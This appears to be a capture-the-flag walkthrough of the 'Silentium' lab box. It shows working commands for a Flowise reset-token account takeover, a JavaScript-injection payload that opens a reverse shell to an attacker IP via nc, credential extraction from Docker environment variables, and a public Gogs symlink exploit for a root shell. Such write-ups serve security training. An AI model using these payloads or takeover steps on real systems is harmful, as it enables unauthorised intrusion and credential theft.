Overview

Silentium is an easy Linux box with a surprisingly deep chain for its difficulty rating. We start by discovering a Flowise staging instance, exploit a critical unauthenticated account takeover vulnerability to grab admin access, then chain it with a separate RCE CVE to land a shell inside a Docker container. From there, careless environment variables hand us SSH credentials for the host. The final step involves port forwarding to a locally running Gogs instance and exploiting a symlink race condition to get a root shell.


Reconnaissance

nmap -sV -sC -T4 -O -p- 10.129.37.230
22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (redirects to http://silentium.htb/)

Just two ports. Add the domain to the hosts file and go take a look at the website:

sudo nano /etc/hosts
# Add: 10.129.37.230   silentium.htb

The main site is a fairly standard institutional page. Nothing jumps out from the source code, but the leadership section names three employees: Marcus, Elena, and Ben. Worth noting for later.

Directory brute force turns up nothing useful, so let’s try virtual hosts:

gobuster vhost -u "http://silentium.htb" \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  --append-domain

We find a virtual host at staging.silentium.htb. Add it to /etc/hosts and navigate to it.


Flowise Account Takeover

The staging subdomain serves a login portal for Flowise, an open source AI agent development platform. The page source confirms it’s Flowise.

Clicking “Forgot Password” and submitting a random email returns “User Not Found”, which means we can enumerate valid accounts. Using the employee names we found on the main site:

marcus.thorne@silentium.htb  -- no
marcus@silentium.htb         -- no
elena.rossi@silentium.htb    -- no
elena@silentium.htb          -- no
ben@silentium.htb            -- valid!

Now we have a valid username. Rather than brute forcing the password, a bit of research turns up something much better.

The Flowise forgot-password endpoint returns a valid password reset token in the response body without any authentication or verification. This means we can generate a reset token for any user and take over their account immediately.

Step 1 — Request a reset token for ben:

curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

The response includes a tempToken and confirms ben is an admin. Even better.

Step 2 — Use the token to reset the password:

curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"ben@silentium.htb",
          "tempToken":"<token_from_previous_response>",
          "password":"password"
        }
      }'

We’re now logged into Flowise as an admin.


RCE via CVE-2025-59528

Flowise is also vulnerable to CVE-2025-59528, a CVSS 10.0 RCE via JavaScript injection in the CustomMCP node. The mcpServerConfig field in the node configuration accepts JSON that is interpreted as JavaScript, with no sanitisation. Since we have admin access, we can abuse the API directly.

First, grab the default API key from Settings > API Keys in the dashboard. We’ll use it as a bearer token.

Start a listener:

nc -lvnp 4444

Create the payload:

cat > payload.json << 'EOF'
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.15 4444 >/tmp/f');return 1;})()} )"
  }
}
EOF

Send it with the API key as the bearer token:

curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <your_api_key>" \
  -d @payload.json

Shell lands, but we’re root inside a Docker container, not on the host itself. Time to look around.


Credential Extraction from Docker Environment

Running env inside the container reveals all the environment variables the container was launched with. It’s a goldmine:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SMTP_USERNAME=test
SENDER_EMAIL=ben@silentium.htb
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD

Docker containers are often configured via environment variables, and it’s unfortunately common for secrets to be passed in this way. We have what looks like SSH credentials for ben.

ssh ben@silentium.htb
# Password: r04D!!_R4ge

User flag is at /home/ben/user.txt.


Internal Service Discovery

Running netstat -tulpn on the host reveals several internal services. Two stand out immediately:

127.0.0.1:3000
127.0.0.1:3001

Ports 3000 and 3001 are classic Gogs ports. Let’s confirm:

curl -s http://127.0.0.1:3001 | head -n 20

Confirmed, it’s Gogs — a self-hosted Git server. Let’s port forward so we can interact with it from our browser:

# Run this on your attack machine
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

Now browse to http://127.0.0.1:3001.


Gogs Version and Configuration

Back in the SSH session, let’s find the Gogs binary and check the version:

ps aux | grep gogs
/opt/gogs/gogs/gogs --version
# Gogs version 0.13.3

Checking the config file confirms Gogs is running as root:

cat /opt/gogs/gogs/custom/conf/app.ini
RUN_USER = root
HTTP_PORT = 3001
ROOT_PATH = /root/gogs-repositories

Running as root with repositories stored in /root. If we can get code execution via Gogs, we’re done.


Root via CVE-2025-8110

Gogs 0.13.3 is vulnerable to CVE-2025-8110, a symlink race condition that allows remote code execution via Git hooks. Since Gogs runs as root, any hook execution gives us a root shell.

Step 1 — Register an account on the Gogs instance at http://127.0.0.1:3001. Use any credentials, for example test:test!.

Step 2 — Generate an API token under Settings > Applications.

Step 3 — Clone the exploit and configure it:

git clone https://github.com/Ghxstsec/CVE-2025-8110
cd CVE-2025-8110
pip3 install -r requirements.txt

Open the script and update the username and API token to match what you just created.

Step 4 — Start a listener:

nc -lvnp 4444

Step 5 — Run the exploit:

python3 CVE-2025-8110-RCE.py -u http://127.0.0.1:3001 -lh 10.10.14.45 -lp 4444 -p 'test!'

The script will prompt you to configure a couple of git variables. Follow the prompts, then re-run the same command. A root shell lands on the listener.

Root flag is at /root/root.txt.


Attack Chain Summary

Step Detail
Recon nmap, vhost scan → staging.silentium.htb running Flowise
User enumeration Forgot password endpoint confirms ben@silentium.htb
Account takeover Flowise unauthenticated token leak → reset ben’s password → admin access
RCE CVE-2025-59528 JavaScript injection via CustomMCP API → shell in Docker container
Credential extraction env inside container → SMTP_PASSWORD=r04D!!_R4ge
SSH ssh ben@silentium.htb with extracted credentials → user flag
Internal discovery netstat → Gogs on port 3001, running as root
Port forward ssh -L 3001:127.0.0.1:3001 → Gogs accessible locally
Root CVE-2025-8110 symlink race condition via Git hooks → root shell
Root flag /root/root.txt